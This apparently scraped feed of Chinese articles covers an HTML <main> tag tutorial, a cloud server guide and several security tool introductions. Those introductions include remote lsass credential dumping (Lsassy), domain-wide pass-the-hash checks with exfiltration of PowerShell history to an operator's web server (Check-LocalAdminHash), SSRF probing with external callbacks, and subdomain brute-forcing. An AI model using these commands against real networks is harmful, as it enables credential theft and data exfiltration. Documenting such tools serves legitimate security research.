HTML main 标签

HTML main 标签

实例

使用 main 标签来展示文档的主体部分:

<main>
<h1>Web 浏览器</h1>
<p>Google Chrome、Firefox 以及 Internet Explorer 是目前最流行的浏览器。</p>

<article>
<h1>Google Chrome 浏览器</h1>
<p>Google Chrome 浏览器是由 Google 开发的一款免费的开源 web 浏览器,于 2008 年发布。</p>
</article>

<article>
<h1>Internet Explorer 浏览器</h1>
<p>Internet Explorer 浏览器由微软开发的一款免费的 web 浏览器,发布于 1995 年。</p>
</article>

<article>
<h1>Mozilla Firefox 浏览器</h1>
<p>Firefox 浏览器是一款来自 Mozilla 的免费开源 web 浏览器,发布于 2004 年。</p>
</article>
</main>

尝试一下 »


定义和用法

<main> 标签用于指定文档的主体内容。

<main> 标签中的内容在文档中是唯一的。它不应包含在文档中重复出现的内容,比如侧栏、导航栏、版权信息、站点标志或搜索表单。

注意在一个文档中,<main> 元素是唯一的,所以不能出现一个以上的 <main> 元素。<main> 元素不能是以下元素的后代:<article>、<aside>、<footer>、<header> 或 <nav>。


浏览器支持

表格中的数字表示支持该元素的第一个浏览器版本号。

元素
<main> 6.0 12.0 4.0 5.0 11.1

HTML 4.01 与 HTML5之间的差异

<main> 标签是 HTML5 中新增加的。


本文来源于互联网:HTML main 标签

Linux 云服务器

Linux 云服务器

自己安装服务器还是麻烦了些,现在一般都推荐大家使用云服务器,比较方便,价格也不贵。

目前市场上的云服务器很多,这边比较下腾讯云跟阿里云的服务器优惠活动,现在看来腾讯云性价比会高一些。


腾讯云

年末腾讯云活动已开始,以下几款性价比非常高,有几款是需要抢购的,大家看好时间基本能拿到。

  • 1、1核2G 128/年,可以用来学习,Linux 知识对技术人员的成才非常重要。
  • 2、2核4G 368/年。
  • 3、另外还有香港的服务器,如果做网站不想去备案,可以考虑,香港速度还是很快的。

每个时间点都有不同的配置跟价格,具体信息,可以点击下面的图片:

Linux 云服务器

另外企业用户还有更高配置的,价格也很实惠:

Linux 云服务器


腾讯云服务器使用

本章节以腾讯云服务器为例。

1、首先点击下图购买(更多服务器的配置信息见下文):

Linux 云服务器

2、登陆腾讯云控制台,查看已购买的服务器:

Linux 云服务器

3、在使用腾讯云服务器前,我们需要先创建一个 SSH 密钥,点击左侧的 SSH 密钥 (使用密钥登录比密码更安全):

Linux 云服务器

输入密钥名称,然后点击确定,就会自动生成一个密钥,密钥会自动下载到本地,请保存好下载的密钥,密钥文件名就是你输入的密钥名称。

4、接着我们勾选已经创建的密钥,点击 绑定/解绑实例 按钮,弹窗中会出现我们的 ECS 服务器,将其绑定到这个密钥即可:

Linux 云服务器

5、返回实例列表,点击实例右侧的 登录 按钮,弹窗中点击立即登录,这是会弹出一个新的浏览器窗口,我们选择密钥登录,密钥文件就是在第三个步骤创建的:

Linux 云服务器

Linux 云服务器

Linux 云服务器

当然你可以选择第三方客户端登录(如:SecureCRT),用户名为 ubuntu,其他系统估计略有不同,然后导入对应的 key 即可。


本文来源于互联网:Linux 云服务器

MassDNS:一款功能强大的高性能DNS子域名查询枚举侦察工具

MassDNS:一款功能强大的高性能DNS子域名查询枚举侦察工具

MassDNS是一款功能强大的高性能DNS stub解析工具,它可以帮助研究人员解析数百万甚至上亿个域名。在没有特殊配置的情况下,MassDNS可以利用公共可用的解析器每秒钟解析超过350000个域名。

项目编译

首先,使用下列命令将MassDNS源码克隆至本地目录中:

git clone https://github.com/blechschmidt/massdns.git

使用cd命令切换到本地项目目录中:

cd massdns

接下来,运行”make”命令构建源码。

如果你使用的不是Linux操作系统,那么则需要运行下列命令:

make nolinux

在Windows平台下,你还需要安装Cygwin包、gcc-core、git和make。

工具使用

Usage: ./bin/massdns [options] [domainlist]

  -b  --bindto           Bind to IP address and port. (Default: 0.0.0.0:0)

      --busy-poll        Use busy-wait polling instead of epoll.

  -c  --resolve-count    Number of resolves for a name before giving up. (Default: 50)

      --drop-group       Group to drop privileges to when running as root. (Default: nogroup)

      --drop-user        User to drop privileges to when running as root. (Default: nobody)

      --flush            Flush the output file whenever a response was received.

  -h  --help             Show this help.

  -i  --interval         Interval in milliseconds to wait between multiple resolves of the same

                         domain. (Default: 500)

  -l  --error-log        Error log file path. (Default: /dev/stderr)

      --norecurse        Use non-recursive queries. Useful for DNS cache snooping.

  -o  --output           Flags for output formatting.

      --predictable      Use resolvers incrementally. Useful for resolver tests.

      --processes        Number of processes to be used for resolving. (Default: 1)

  -q  --quiet            Quiet mode.

      --rcvbuf           Size of the receive buffer in bytes.

      --retry            Unacceptable DNS response codes. (Default: REFUSED)

  -r  --resolvers        Text file containing DNS resolvers.

      --root             Do not drop privileges when running as root. Not recommended.

  -s  --hashmap-size     Number of concurrent lookups. (Default: 10000)

      --sndbuf           Size of the send buffer in bytes.

      --sticky           Do not switch the resolver when retrying.

      --socket-count     Socket count per process. (Default: 1)

  -t  --type             Record type to be resolved. (Default: A)

      --verify-ip        Verify IP addresses of incoming replies.

  -w  --outfile          Write to the specified output file instead of standard output.

Output flags:

  S - simple text output

  F - full text output

  B - binary output

  J - ndjson output

如果你需要查看更详细的操作选项以及帮助手册(尤其是输出格式),你可以使用“–help”命令。

工具使用样例

解析目标域名(位于lists的resolvers.txt中)的AAAA记录,并将结果存储至result.txt中:

$ ./bin/massdns -r lists/resolvers.txt -t AAAA domains.txt > results.txt

或者运行下列命令:

$ ./bin/massdns -r lists/resolvers.txt -t AAAA -w results.txt domains.txt

样本输出

默认配置下,MassDNS将会输出响应数据包,格式为文本格式,输出样例如下:

;; Server: 77.41.229.2:53

;; Size: 93

;; Unix time: 1513458347

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51298

;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:

example.com. IN A

;; ANSWER SECTION:

example.com. 45929 IN A 93.184.216.34

;; AUTHORITY SECTION:

example.com. 24852 IN NS b.iana-servers.net.

example.com. 24852 IN NS a.iana-servers.net.

输出结果包含了解析的IP地址,可以帮助我们轻松对输出结果进行过滤。

数据解析

代码库中包含了一个名为resolvers.txt的文件,其中包含了一套有subbrute项目提供的已过滤的解析器子集。请注意,MassDNS的使用可能会提升系统/网络负载,因为需要加载大量解析器,具体将取决于你的ISP。

MassDNS的DNS解析实现目前还不完整,只支持最常见的一些记录类型。欢迎您通过代码贡献来帮助改变这种状况。

PTR记录

MassDNS包含了一个Python脚本,允许我们解析所有的IPv4 PTR记录:

$ ./scripts/ptr.py | ./bin/massdns -r lists/resolvers.txt -t PTR -w ptr.txt

请注意,in-addr.arpa中的标签会被反转。为了解析域名为1.2.3.4的地址,MassDNS将需要以“4.3.2.1.in-addr.arpa”的方式来作为输入查询名称。此时,Python脚本并不会按升序解析记录,这样可以避免在IP v4子网的域名服务器上突然出现的负载激增。

网络侦察&爆破子域名

注意:请不要随意使用该工具,适当调整-s参数以避免给权威域名服务器造成负载压力。

subbrute类似,MassDNS允许我们使用subbrute.py脚本来对子域名进行爆破枚举:

$ ./scripts/subbrute.py lists/names.txt example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt

作为一种额外的网络侦察手段,ct.py脚本可以从crt.sh中抓取数据,并从证书透明日志中提取子域名:

$ ./scripts/ct.py example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt

工具运行截图

MassDNS:一款功能强大的高性能DNS子域名查询枚举侦察工具

安全性

MassDNS的运行不需要Root权限, 我们建议用户以非特权用户的身份运行MassDNS。除此之外,我们不建议大家使用“–root”参数来运行。另外,除了Master以外的其他分支不适用于生产环境。

项目地址

MassDNS:【GitHub传送门

* 参考来源:blechschmidt,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:MassDNS:一款功能强大的高性能DNS子域名查询枚举侦察工具

See-SURF:一款基于Python的潜在SSRF参数扫描工具

See-SURF:一款基于Python的潜在SSRF参数扫描工具

See-SURF

See-SURF是一款基于Python开发的扫描工具,它可以帮助安全研究人员查找并发现目标Web应用程序中潜在的SSRF参数。

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

在Web安全领域中,SSRF毫无疑问已经成为了一种严重的安全漏洞,但是行业内貌似我没看到有工具能够自动查找这种类型漏洞参数的工具。因此,See-SURF便应运而生,它可以帮助我们在进行漏洞搜索或Web安全测试时,提供很大的帮助。

工具依赖

Python 3

功能介绍

1、可以接收Burp的sitemap作为输入,并使用强大的正则表达式匹配语句来解析文件,并匹配任何包含了潜在SSRF漏洞关键词的GET/POST URL参数,比如说URL或站点信息等等。除此之外,它还可以检测任意URL或IP地址中的参数值。下面给出的是可分析的样本GET请求:

google.com/url=https://yahoo.com

google.com/q=https://yahoo.com

FORMS –

<input type="text" name="url" value="https://google.com" placeholder="https://msn.com">

2、内置多线程网络爬虫,能够尽可能多地收集数据,并解析和识别潜在的SSRF参数。

3、提供了cookie以便支持认证扫描。

4、默认配置下,工具已常规模式运行,开启Verbose模式后,我们将能够查看到不同终端节点的各种漏洞参数。样例如下:

https://google.com/path/1/urlToConnect=https://yahoo.com

https://google.com/differentpath/urlToConnect=https://yahoo.com

5、漏洞利用:向Burp Collaboraor或其他HTTP服务器发送包含漏洞参数的外部请求,以确认SSRF漏洞的有效性。

工具安装

git clonehttps://github.com/In3tinct/See-SURF.git

cd See-SURF/

pip3 install BeautifulSoup4

pip3 install requests

工具使用

下面这条命令将以默认线程=10的配置运行See-SURF,未开启cookie/session,未开启Verbose模式:

python3 see-surf.py -H https://www.google.com

提供Cookie,以空格隔开,实现认证会话爬取:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2

开启Verbose模式,设置Cookie:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -t 20 -v

其他使用样例:

https://google.com/abc/1/urlToConnect=https://yahoo.com

https://google.com/123/urlToConnect=https://yahoo.com

Burp使用样例

Burp Sitemap(-b和-p)

完整的命令样例:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -b burp_file.xml -p http://72.72.72.72:8000

-b参数可以提供Burp Sitemap文件,以便更好地发现潜在的SSRF参数。这个脚本首先回解析Burp文件,并尝试查找潜在的参数,然后针对目标运行内置的爬虫。

在BurpSuite中查看待分析目标,发送某些GET/POST请求,数量越多越好。然后点击“Target”标签,右键点击“Save selected Items”,然后保存。提供的脚本运行参数如下:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -b burp_file.xml

See-SURF:一款基于Python的潜在SSRF参数扫描工具

-p参数将会开启BurpSuite Collaborator,并向主机传递-p参数,或者开启一个Python Http服务器,并等待漏洞参数以执行请求。此时,Payload将会带参数执行,参考样例如下:

python3 see-surf.py -H https://www.google.com -c cookie_name1=value1 cookie_name2=value2 -p http://72.72.72.72:8000

See-SURF:一款基于Python的潜在SSRF参数扫描工具

工具运行截图

See-SURF:一款基于Python的潜在SSRF参数扫描工具

许可证协议

See-SURF的开发与发布遵循GNU v3开源许可证协议。

项目地址

See-SURF:【GitHub传送门

* 参考来源:In3tinct,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:See-SURF:一款基于Python的潜在SSRF参数扫描工具

GDA:一款基于C++的新型Android逆向分析工具

GDA:一款基于C++的新型Android逆向分析工具

GDA(GJoy Dex Analysizer)

GDA是一款完全基于C++开发的新型反编译工具,因此该工具并不仅依赖于Java平台。该工具使用起来非常方便,而且运行速度非常快,支持APK、DEX、OBED和oat等文件格式。

实际上,GDA是一款新型的Dalvik字节码反编译工具。该工具是完全独立的,并且运行非常稳定,并且能够在没有安装Java VM的环境下运行。GDA的大小只有2MB,我们可以直接在任何新安装的Windows操作系统或虚拟机系统中使用该工具,无需进行额外配置。此外,GDA还有以下更加出色的功能:

GDA:一款基于C++的新型Android逆向分析工具

功能介绍

交互式操作

1、字符串、类、方法和域的交叉引用;

2、搜索字符串、类方法和域;

3、Java代码注释;

4、方法、域、类的重命名;

5、将分析结果存储至GDA数据库文件中;

辅助分析实用程序

1、从ODEX中提取DEX;

2、从OAT中提取DEX;

3、XML解码器;

4、算法工具;

5、设备内存导出;

新功能

1、采用C++开发的全新Dalvik反编译工具;

2、有好的GUI界面;

3、支持Python脚本;

4、封装器识别;

5、多DEX支持;

6、反混淆支持;

7、扫描恶意API链;

8、等等……

工具安装

目前,广大用户可以将项目源码直接克隆至本地,然后鼠标双击bin文件即可开始使用。下载命令如下:

git clone https://github.com/charles2gan/GDA-android-reversing-Tool.git

算法工具

该工具支持下列算法:

1、散列算法:md2 md4 md5 sha sha1 sha224 sha256 sha384 sha512

2、对称加密:des idea rc2 rc4 rc4-40 rc2-40 rc2-64 bf cast5 aes(128192256),具有ecb cbc ofb cfb等模式,其他模式例如(cfb1 cfb8)

3、RSA编码算法:base62,base64

工具运行截图

文件加载和反编译

GDA:一款基于C++的新型Android逆向分析工具

恶意软件扫描、API查询、x-ref…

Url、Xml、字符串x-ref…

GDA:一款基于C++的新型Android逆向分析工具

变量追踪

GDA:一款基于C++的新型Android逆向分析工具

项目地址

GDA:【GitHub传送门

* 参考来源:charles2gan,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:GDA:一款基于C++的新型Android逆向分析工具

Nfstream:一款易于扩展的网络数据分析框架

Nfstream:一款易于扩展的网络数据分析框架

Nfstream本质上来说是一款Python包,它可以提供快速、灵活且有效的数据结构,支持针对在线或离线状态的网络数据进行分析,这种方式既简单又直观。在Nfstream的帮助下,广大研究人员可以直接在自己的Python代码中集成数据分析功能,并对真实场景下的实际网络数据进行分析。除此之外,Nfstream目前仍处于开发阶段,该项目将会为研究人员提供各种实验数据复现功能,并成为一款通用的网络数据处理与分析框架。

功能介绍

1、性能:Nfstream的运行速度非常快(集成pypy3后,速度将会快10倍),而且对CPU和内存的需求并不大;

2、七层可见度:Nfstream深度数据包检测引擎基于nDPI实现,它允许Nfstream执行可靠的加密应用识别与元数据提取(例如TLS, QUIC, TOR, HTTP, SSH, DNS);

3、灵活性:引入NFPlugin插件概念,便于实现功能扩展;

4、机器学习:支持以NFPlugin的形式添加训练模型;

工具依赖

广大研究人员可以运行下列命令来完成NFPlugin依赖组件的配置:

apt-get install libpcap-dev

工具下载

使用pip安装

如果你习惯使用pip的话,你可以直接使用pip3命令安装本项目的最新版本:

pip3 install nfstream

源码构建

广大研究人员也可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/aouinizied/nfstream.git

工具使用

当你在处理一个非常大的pcap文件时,如果你只想将其聚合为网络流,那么你只需要实现下列几行代码,剩下的就可以交给Nfstream来完成了:

from nfstream import NFStreamer

   my_awesome_streamer = NFStreamer(source="facebook.pcap") # or network interface (source="eth0")

   for flow in my_awesome_streamer:

       print(flow)  # print it, append to pandas Dataframe or whatever you want Nfstream:一款易于扩展的网络数据分析框架 !

NFEntry(

        id=0,

        first_seen=1472393122365,

        last_seen=1472393123665,

        version=4,

        src_port=52066,

        dst_port=443,

        protocol=6,

        vlan_id=0,

        src_ip='192.168.43.18',

        dst_ip='66.220.156.68',

        total_packets=19,

        total_bytes=5745,

        duration=1300,

        src2dst_packets=9,

        src2dst_bytes=1345,

        dst2src_packets=10,

        dst2src_bytes=4400,

        expiration_id=0,

        master_protocol=91,

        app_protocol=119,

        application_name='TLS.Facebook',

        category_name='SocialNetwork',

        client_info='facebook.com',

        server_info='*.facebook.com',

        j3a_client='bfcc1a3891601edb4f137ab7ab25b840',

        j3a_server='2d1e***17ece335c24904f516ad5da12'

)

NFEntry(

        id=0,

        first_seen=1472393122365,

        last_seen=1472393123665,

        version=4,

        src_port=52066,

        dst_port=443,

        protocol=6,

        vlan_id=0,

        src_ip=’192.168.43.18′,

        dst_ip=’66.220.156.68′,

        total_packets=19,

        total_bytes=5745,

        duration=1300,

        src2dst_packets=9,

        src2dst_bytes=1345,

        dst2src_packets=10,

        dst2src_bytes=4400,

        expiration_id=0,

        master_protocol=91,

        app_protocol=119,

        application_name=’TLS.Facebook’,

        category_name=’SocialNetwork’,

        client_info=’facebook.com’,

        server_info=’*.facebook.com’,

        j3a_client=’bfcc1a3891601edb4f137ab7ab25b840′,

        j3a_server=’2d1e***17ece335c24904f516ad5da12′

)

将pcap转换为Pandas DataFrame:

import pandas as pd

streamer_awesome = NFStreamer(source='devil.pcap')

data = []

for flow in streamer_awesome:

   data.append(flow.to_namedtuple())

my_df = pd.DataFrame(data=data)

my_df.head(5) # Enjoy!

如果你没找到特定的数据流功能,你可以通过几行代码来向Nfstream增加插件:

from nfstream import NFPlugin

class my_awesome_plugin(NFPlugin):

    def on_update(self, obs, entry):

        if obs.length >= 666:

            entry.my_awesome_plugin += 1

streamer_awesome = NFStreamer(source='devil.pcap', plugins=[my_awesome_plugin()])

for flow in streamer_awesome:

   print(flow.my_awesome_plugin) # see your dynamically created metric in generated flows

更多详细的使用方法,请参考Nfstream的官方文档:【点我获取

项目地址

NFPlugin:【GitHub传送门

* 参考来源:aouinizied,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Nfstream:一款易于扩展的网络数据分析框架

Lsassy:如何远程从lsaas中提取用户凭证

今天,我们将跟大家介绍Lsassy这款功能强大的工具,广大研究人员可以利用Lsassy来从目标设备的lsass中远程提取出用户凭证。

Lsassy:如何远程从lsaas中提取用户凭证

lsass介绍

lsass.exe是一个系统重要进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。如果结束该进程,会出现不可知的错误。但是,lsass.exe也有可能是Windang.worm、irc.ratsou.b、Webus.B、MyDoom.L、Randex.AR、Nimos.worm等病毒创建的,病毒通过软盘、群发邮件和P2P文件共享进行传播。

Lsassy

Lsassy是一个Python库,它可以批量从目标主机中远程提取用户凭证。这个Python库使用了impacket项目来从lsass导出数据中远程读取所需要的字节内容,并使用了pypykatz来提取用户凭证。

工具要求

Python >= 3.6

netaddr

pypykatz>= 0.3.0

Impacket

工具安装

使用pip进行安装:

python3.7 -m pip install lsassy

使用源码安装:

python3.7 setup.py install

CrackMapExec模块

本项目中的CrackMapExec模块可以使用Lsassy来从受感染的主机中提取用户凭证。

CrackMapExec模块位于cme目录中:CME Module

CrackMapExec模块允许我们自动化实现整个提取过程,并且直接将目标用户的登陆凭证显示在Lsassy的输出结果中。除此之外,它还可以帮助我们根据攻击路径来检测用户账号,并提权为域管理员账号。

工具机制

Lsassy使用了三种不同的方法来从lsass中导出用户凭证:

1、使用了comsvcs.dll这个DLL以及rundll32.exe可执行程序,这种方法只会使用内置的Windows工具。

2、使用了procdump.exe。如果使用了这种方法,procdump.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

3、使用了dumpert.exe。如果使用了这种方法,dumpert.exe则需要从攻击者的主机上传至目标用户的主机,并远程执行该程序。

工具运行截图

Lsassy:如何远程从lsaas中提取用户凭证

项目地址

Lsassy:【GitHub传送门

参考资料

1、https://en.hackndo.com/remote-lsass-dump-passwords/

2、https://github.com/SecureAuthCorp/impacket

3、https://github.com/skelsec/pypykatz

4、https://github.com/Hackndo/lsassy/wiki

5、https://github.com/Hackndo/lsassy/tree/master/cme

6、https://twitter.com/mpgn_x64

* 参考来源:Hackndo,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Lsassy:如何远程从lsaas中提取用户凭证

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

Check-LocalAdminHash

Check-LocalAdminHash是一款基于PowerShell开发的工具,它可以尝试通过WMI或SMB来对多台主机进行身份验证,并通过密码哈希来判断用户提供的凭证是否属于本地管理员账户。

如果你获取到了一个用户账户的密码,并且需要判断该用户账户是否为目标网络系统中的本地管理员账户时,Check-LocalAdminHash就派上用场了。值得一提的是,该工具还集成了两个第三方工具,即Invoke-TheHash(用于凭证检测)和PowerView的脚本工具模块(用于枚举域名计算机)。

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

我之所以开发这款工具,是因为在一次信息收集活动中,我需要收集目标网络中所有系统的PowerShell命令行历史文件(PSReadline),而PSReadline命令行历史记录实际上就是PowerShell版本的Bash记录。这种记录中包含了非常多有意思的内容,其中就包括用户在终端中输入过的密码。因此,Check-LocalAdminHash还提供了一个选项来帮助用户筛选和过滤所有的PSReadline文件。

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/dafthack/Check-LocalAdminHash.git

工具使用样例

通过WMI检测所有主机的本地管理员哈希

下面这条命令将使用域名“testdomain.local”来查询所有的主机系统,然后尝试通过WMI并是使用用户“testdomain.localPossibleAdminUser”以及密码哈希来验证凭证的有效性:

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

提取所有的PSReadline终端历史记录

下面这条命令将使用域名“testdomain.local”来查询所有的主机系统,然后尝试通过WMI并是使用用户“testdomain.localPossibleAdminUser”以及密码哈希来验证凭证的有效性。接下来,它会尝试定位目标网络中每一个系统的PowerShell终端历史记录文件(PSReadline),然后使用POST将它们发送至我们的Web服务器:

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

使用CIDR

下面这条命令将使用工具提供的CIDR范围来生成一个目标列表,然后尝试通过WMI并使用本地用户“PossibleAdminUser”和密码哈希来验证用户凭证:

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

使用目标列表和SMB并将结果输出至文件

下面这条命令将使用提供的目标列表,并尝试通过SMB和本地用户“PossibleAdminUser”以及密码哈希来验证用户凭证:

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:temptargetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:templocal-admin-systems.txt

单一目标

下面这条命令针对的是主机系统“192.168.0.16”,它将通过SMB并使用用户名“Administrator ”来进行本地管理员账号验证:

Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Check-LocalAdminHash选项:

Username - The Username for attempting authentication.
PasswordHash - Password hash of the user.
TargetSystem - Single hostname or IP for authentication attempt.
TargetList - A list of hosts to scan one per line
AllSystems - A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access.
Domain - This is the domain that PowerView will utilize for discovering systems.
UserDomain - This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred.
Protocol - This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead.
CIDR - Specify a CIDR form network range such as 192.168.0.0/24
Threads - Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.)
ExfilPSReadline - For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. 

PSReadline过滤配置

接下来,我们将需要设置一台对外接收文件上传的服务器。在开始之前,我建议大家先锁定好设备的防火墙规则,以及允许上传PSReadline文件的IP地址。

1、设置一台用于接收上传文件的服务器,这个服务器必须能够通过HTTP/HTTPS访问。

2、将本项目中的index.php脚本拷贝到Web服务器的根目录(“/var/www/html/index.php”)。

3、创建一个上传目录:

mkdir /var/www/html/uploads

4、修改该目录的权限:

chmod 0777 /var/www/html/uploads

5、安装好PHP环境:

apt-get install php

6、重启Apache服务器:

service apache2 restart

7、Check-LocalAdminHash.ps1脚本会跳转到“Gen-EncodedUploadScript”函数,并修改“$Url”变量,将其指向我们Web服务器的index.php页面。

接下来在你使用“-ExfilPSReadline”选项运行Check-LocalAdminHash时,它就会尝试使用POST来将所有发现的PSReadline文件发送至你的服务器端了。

Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

项目地址

Check-LocalAdminHash:【GitHub传送门

参考资料

1、博客文章:https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

2、Invoke-TheHash:https://github.com/Kevin-Robertson/Invoke-TheHash

3、PowerView:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

* 参考来源:dafthack,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Check-LocalAdminHash:一款基于PowerShell的本地管理员识别工具

ApplicationInspector:一款功能强大的软件源代码分析与审计工具

ApplicationInspector:一款功能强大的软件源代码分析与审计工具

ApplicationInspector是一款功能强大的软件源代码分析与审计工具,它可以帮助研究人员识别和发现目标应用程序中的公众周知的功能以及源代码中有意思的特性,并清楚目标应用的本质特征以及实现的功能。

ApplicationInspector跟传统静态分析工具不同的是,它不会尝试去识别目标应用模式的好与坏,它只会报告它所检测到的应用程序模式,而且它会使用超过400种规则来完成检测,其中包含可能会影响应用程序安全性的一些模式,例如所使用的加密算法等等。ApplicationInspector会直接检查目标应用程序的源代码,而不是选择信任已有文档或安全建议,这对于分析开源项目或其他组件来说,能够提升准确率。

ApplicationInspector支持扫描各种编程语言,其中包括C、C++、C、Java、JavaScript、HTML、Python、Objective-C、GO、Ruby以及PowerShell等等,并且还支持扫描混合语言的文件。除此之外,ApplicationInspector还支持HTML、JSON和text等输出格式,默认输出报告格式为HTML。

值得一提的是,ApplicationInspector提供了一个可过滤的指示器,以此来提供最小化的误报率,并帮助研究人员自定义默认规则以及条件匹配逻辑。

ApplicationInspector的功能如下图所示:

ApplicationInspector:一款功能强大的软件源代码分析与审计工具

工具下载

广大研究人员可以使用下列命令将项目源 码克隆至本地:

git clone https://github.com/microsoft/ApplicationInspector.git

项目构建

项目的源码构建需要安装.NET Core 3.0,并使用标准的dotnet构建命令直接在项目根目录运行。

框架依赖:

dotnet build -c Release

目标平台构建:

dotnet publish -c Release -r win-x86

dotnet publish -c Release -r linux-x64

dotnet publish -c Release -r osx-x64

工具使用

如需使用ApplicationInspector,可以直接下载对应的ApplicationInspector版本。如果你是用的是.NET Core版本,你还需要安装.NET Core v3.0或更高版本。

ApplicationInspector是一款基于命令行的工具,因此我们可以直接在Windows、Linux或macOS平台上通过命令行终端来运行该工具:

> dotnet AppInspector.dll or on *Windows* simply AppInspector.exe <command> <options>

Microsoft Application Inspector 1.0.25
ApplicationInspector 1.0.25

(c) Microsoft Corporation. All rights reserved

ERROR(S):
  No verb selected.

  analyze        Inspect source directory/file/compressed file (.tgz|zip) against defined characteristics
  tagdiff        Compares unique tag values between two source paths
  tagtest        Test presence of smaller set or custom tags in source (compare or verify modes)
  exporttags     Export default unique rule tags to view what features may be detected
  verifyrules    Verify rules syntax is valid
  help           Display more information on a specific command
  version        Display version information

使用样例

命令行帮助信息:

  Usage: dotnet AppInspector.dll [arguments] [options]

  dotnet AppInspector.dll -description of available commands
  dotnet AppInspector.dll <command> -options description for a given command

分析命令:

 Usage: dotnet AppInspector.dll analyze [arguments] [options]

  Arguments:
  -s, --source-path             Required. Path to source code to inspect (required)
  -o, --output-file-path        Path to output file.  Ignored with -f html option which auto creates output.html
  -f, --output-file-format      Output format [html|json|text]. Default = html
  -e, --text-format             Match text format specifiers 
  -r, --custom-rules-path       Custom rules path
  -t, --tag-output-only         Output only contains identified tags. Default = false
  -i, --ignore-default-rules    Ignore default rules bundled with application. Default = false
  -d, --allow-dup-tags          Output only non-unique tag matches. Default = false
  -c, --confidence-filters      Output only matches with confidence [high|medium|low].  Default = high,medium
  -k, --file-path-exclusions    Exclude source files [none|<list>]. Default = sample,example,test,docs,.vs,.git
  -x, --console-verbosity       Console verbosity [high|medium|low|none].  Default = medium
  -l, --log-file-path           Log file path.  Default is <application path>/log.txt
  -v, --log-file-level          Log file level [Debug|Info|Warn|Error|Fatal|Off].  Default = Error

扫描一个项目目录,不需要输出“output.html”文件(默认):

dotnet AppInspector.dll analyze -s /home/user/myproject 

添加自定义扫描规则:

dotnet AppInspector.dll analyze -s /home/user/myproject -r /my/rules/directory -r /my/other/rules

JSON格式输出:

dotnet AppInspector.dll analyze -s /home/user/myproject -f json

Tagdiff命令

如果你需要使用不同的标签(功能)来分析、比对和报告两个不同的项目,比如说两个不同版本的项目,你可以使用tagdiff命令:

 Usage: dotnet AppInspector.dll tagdiff [arguments] [options]

  Arguments:
  --src1                        Required. Source 1 to compare (required)
  --src2                        Required. Source 2 to compare (required
  -t, --test-type               Type of test to run [equality|inequality].  Default = equality
  -r, --custom-rules-path       Custom rules path
  -i, --ignore-default-rules    Ignore default rules bundled with application.  Default = false
  -o, --output-file-path        Path to output file
  -x, --console-verbosity       Console verbosity [high|medium|low].  Default = medium
  -l, --log-file-path           Log file path
  -v, --log-file-level          Log file level [error|trace|debug|info].  Default = error

查看不同项目对比结果的命令如下:

dotnet AppInspector.dll tagdiff --src1 /home/user/project1 --src2 /home/user/project2

基本使用1:

dotnet AppInspector.dll tagdiff --src1 /home/user/project1 --src2 /home/user/project2 -t equality

基本使用2:

dotnet AppInspector.dll tagdiff --src1 /home/user/project1 --src2 /home/user/project2 -t inequality

TagTest命令

该命令用于识别目标项目中是否存在指定的一系列规则,比如说,你想知道目标应用中是否使用了某个加密算法,就可以使用该命令了。

命令参数如下:

 Usage: dotnet AppInspector.dll tagtest [arguments] [options

  Arguments:
  -s, --source-path             Required. Source to test (required)
